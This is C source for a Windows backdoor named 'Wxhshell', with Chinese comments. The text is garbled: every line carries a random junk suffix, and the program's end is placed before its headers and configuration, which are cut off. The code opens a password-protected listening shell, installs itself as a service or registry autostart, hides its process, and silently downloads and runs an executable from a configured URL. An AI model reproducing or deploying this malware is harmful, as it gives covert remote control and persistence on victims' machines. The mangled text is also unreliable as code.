ULONG UniqueProcessId; )Ee`11
ULONG InheritedFromUniqueProcessId; '_n$xfH
} PROCESS_BASIC_INFORMATION; PC?XE8o
I<&) P#"
PROCNTQSIP NtQueryInformationProcess; ~MK%^5y?
*APTgXYR
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ge&!GO
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^{O1+7d[.
-zm-|6[Wi
HANDLE hProcess; Bv}i#D
PROCESS_BASIC_INFORMATION pbi; ML1/1GK*i+
}K 2fwE
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^K'XlM`a
if(NULL == hInst ) return 0; n8) eC2A
>
a 8'MK
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q+9c81b
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N*}g+IS
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b;G#MjQp'
=|3*Y0
if (!NtQueryInformationProcess) return 0; 8/CK(G
\2 `|eo
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D;oX*`
if(!hProcess) return 0; ]M&KUgz
`+T"^{
Z
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Cl!qdh6
_Qf310oONS
CloseHandle(hProcess); ALp|fZ\vp
Z2I2 [pA
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WQltUaF
if(hProcess==NULL) return 0; !='L `.
hyC]{E
HMODULE hMod; o;{BI
Q1
char procName[255]; {} Zqaf
unsigned long cbNeeded; ~|8-Mo1ce
|Y;[)s =q
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a~Y`N73/c
y9Q.TL>=[
CloseHandle(hProcess); E Ks4N4k
s{T6qJ
if(strstr(procName,"services")) return 1; // 以服务启动 ![aa@nOSa
;0:[X+"(
return 0; // 注册表启动 o#=O5@>ai
} yz^Rm2$f9
o Yrg;]H
// 主模块 /n8\^4{fP{
int StartWxhshell(LPSTR lpCmdLine) eIt<da<G?
{ PI$K+}E
SOCKET wsl; lw_PQ4Hp
BOOL val=TRUE; t,308Z
int port=0; 9 wP,Z"
struct sockaddr_in door; %"BJW
9%^O-8!
if(wscfg.ws_autoins) Install(); zEs:OOM
Q?{^8?7
port=atoi(lpCmdLine); ]YKxJ''u
. MH;u3U
if(port<=0) port=wscfg.ws_port; e#z#bz2<
F0/!+ho
WSADATA data; S0!w]Ku
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z6IWQo,)Rh
x5eSPF1
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :r}C&3
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @5*$yi 'Cp
door.sin_family = AF_INET; OzUo}QN
door.sin_addr.s_addr = inet_addr("127.0.0.1"); WXe]Q bg
door.sin_port = htons(port); t-)d*|2n}o
M^ jEp
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y@2yV(m)o
closesocket(wsl); 2[g kDZ
return 1; r&Qq,koE
} 5N:IH@
}mOo= )C!
if(listen(wsl,2) == INVALID_SOCKET) { w
L4P-4'
closesocket(wsl); _[$,WuG1
return 1; 1EA#c>I$
} >- U+o.o
Wxhshell(wsl); U}DLzn|w
WSACleanup(); 3_ko=& B$
b!`{fwV
return 0; /o9
0O&
s%^@@Dk
} 3>mAZZL5[
Y]bS=*q
// 以NT服务方式启动 z8cefD9F
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |G/WS0
{ jGe%'AN\
DWORD status = 0; /cZTj!M
DWORD specificError = 0xfffffff; rG3?Z^&R+
61](a;Di
serviceStatus.dwServiceType = SERVICE_WIN32; C!)ZRuRv
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 6o4Y]C2W{1
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =:'\wx
X
serviceStatus.dwWin32ExitCode = 0; Y-lTPR<Eq
serviceStatus.dwServiceSpecificExitCode = 0; yX/{eX5dr
serviceStatus.dwCheckPoint = 0; 3!vnSX(iv
serviceStatus.dwWaitHint = 0; }VeE4-p B
aNP\Q23D
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ik1asj1
if (hServiceStatusHandle==0) return; Z"$iB-]
wV-9T*QrM
status = GetLastError(); 2S-f5&o
if (status!=NO_ERROR) AkCy
C1
{ MV]`[^xQ5
serviceStatus.dwCurrentState = SERVICE_STOPPED; 6sG5n7E-A
serviceStatus.dwCheckPoint = 0; 6j95>} @
serviceStatus.dwWaitHint = 0; }42Hhu7j
serviceStatus.dwWin32ExitCode = status; aJ}hlM>
serviceStatus.dwServiceSpecificExitCode = specificError; 8:[ l1d86
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @0(%ayi2Y
return; ~F%sO'4!
} ]-_ ma
Gn<0Fy2
serviceStatus.dwCurrentState = SERVICE_RUNNING; r+k&W
serviceStatus.dwCheckPoint = 0; 6|IJwP^Q_
serviceStatus.dwWaitHint = 0; -ijzo%&qA
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q3C
} 6\k~q.U@XI
?d+ri
// 处理NT服务事件,比如:启动、停止 +s^nT{B@\
VOID WINAPI NTServiceHandler(DWORD fdwControl) MJkusR/
{ U({N'y=
switch(fdwControl) X&IT s
{ a,(nf1@5
case SERVICE_CONTROL_STOP: RA?_j$
serviceStatus.dwWin32ExitCode = 0; Jg)( F|>o
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8!YQ9T [
serviceStatus.dwCheckPoint = 0; *6eJmbFG
serviceStatus.dwWaitHint = 0; (:F]@vT
{ o")"^@Zhi
SetServiceStatus(hServiceStatusHandle, &serviceStatus); KDP"z
} &nwS7n1eb
return; zliMG=6
case SERVICE_CONTROL_PAUSE: ?XP4kjJ
serviceStatus.dwCurrentState = SERVICE_PAUSED; HDTA`h?t;
break; #%F-Xsk
case SERVICE_CONTROL_CONTINUE: 8:)[.
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^M%P43
break; (>E/C^Tc%
case SERVICE_CONTROL_INTERROGATE: m.!LL]]
break; :J_UXtx
}; !Z |_3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?3a=u<
} A+GRTwj
P3-O)m]jv
// 标准应用程序主函数 }EYmz/nN
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t- TUP>_
{ 'wtb"0 }
tQRbNY#}Z
// 获取操作系统版本 e$_gOwB
OsIsNt=GetOsVer(); 60]VOQku
GetModuleFileName(NULL,ExeFile,MAX_PATH); ju3@F8AI
}h1LH4
// 从命令行安装 *aC[Tv[-P
if(strpbrk(lpCmdLine,"iI")) Install(); }st~$JsV1
Q)BSngW+
// 下载执行文件 QV.>Cy
if(wscfg.ws_downexe) { 0^\H$An*k
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tu"-]^
WinExec(wscfg.ws_filenam,SW_HIDE); l)o!&]2
} 8t=O=l\
&bfM`h'
if(!OsIsNt) { XR9kxTuk
// 如果时win9x,隐藏进程并且设置为注册表启动 gK;dfrU.8Y
HideProc(); YgjW%q
StartWxhshell(lpCmdLine); R-dv$z0
} ,jeHL@>w[
else 5Za<]qxr
if(StartFromService()) );AtFP0Y
// 以服务方式启动 v;5-1
StartServiceCtrlDispatcher(DispatchTable); qdwo 2u
else )m3emMO2
// 普通方式启动 p/Q< VV
StartWxhshell(lpCmdLine); BeQ'\#q,
sk<S`J,M/_
return 0; W`JI/
} X_nbNql
)quQI)Ym
Q?LzL(OioN
N#jUqm
=========================================== >T*BEikC
eN|zD?ba&
T"3LO[j+
m*HUT V
/O$~)2^h
BR?DW~7J j
" .t>SbGC
9[*P`*&
#include <stdio.h> i( +Uv tgs
#include <string.h> 1I'}Uh*
#include <windows.h> |}e"6e%
#include <winsock2.h> YqXN|&
#include <winsvc.h> n#WOIweInf
#include <urlmon.h> `|"o\Bg<
{yT<22Fl
#pragma comment (lib, "Ws2_32.lib") K%BFR,)g
#pragma comment (lib, "urlmon.lib") k5tyOk
pX3E l$p
#define MAX_USER 100 // 最大客户端连接数 RT'5i$q[
#define BUF_SOCK 200 // sock buffer ^-s7>F`jx
#define KEY_BUFF 255 // 输入 buffer sA: /!9
pX>wMc+
#define REBOOT 0 // 重启 w^HI
lA
#define SHUTDOWN 1 // 关机 knHrMD;
s5{H15
#define DEF_PORT 5000 // 监听端口 veh=^K%G |
`LIlR8&@aX
#define REG_LEN 16 // 注册表键长度 =? q&/
cru
#define SVC_LEN 80 // NT服务名长度 :mCGY9d4L
>dF #1
// 从dll定义API %Gu=Dkz
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;YQ6X>
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TQ/#
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s:,fXg25J
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d3T7$'l$
F/A)2 H_
// wxhshell配置信息 B}p.fE
struct WSCFG { ]>sMu]biH
int ws_port; // 监听端口 w8>bct3@
char ws_passstr[REG_LEN]; // 口令 e2;=OoBK
int ws_autoins; // 安装标记, 1=yes 0=no p{r{}iYI
char ws_regname[REG_LEN]; // 注册表键名 98<^!mwF
char ws_svcname[REG_LEN]; // 服务名 WYCDEoqU2
char ws_svcdisp[SVC_LEN]; // 服务显示名 YWi Y[
char ws_svcdesc[SVC_LEN]; // 服务描述信息 Pj8Vl)8~NV
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >i61+uzEd+
int ws_downexe; // 下载执行标记, 1=yes 0=no ov!L8
9`[u
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cx)x="c
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vl%Pg!l
X/Fip0i
}; H0.&~!,*
hE2{m{^A
// default Wxhshell configuration T z+Y_
struct WSCFG wscfg={DEF_PORT, #]} G{
P
"xuhuanlingzhe", 4HXNu, T'
1, : NH'>'
"Wxhshell", Pc~)4>X<
"Wxhshell", )@.ODW;`
"WxhShell Service", 1&kf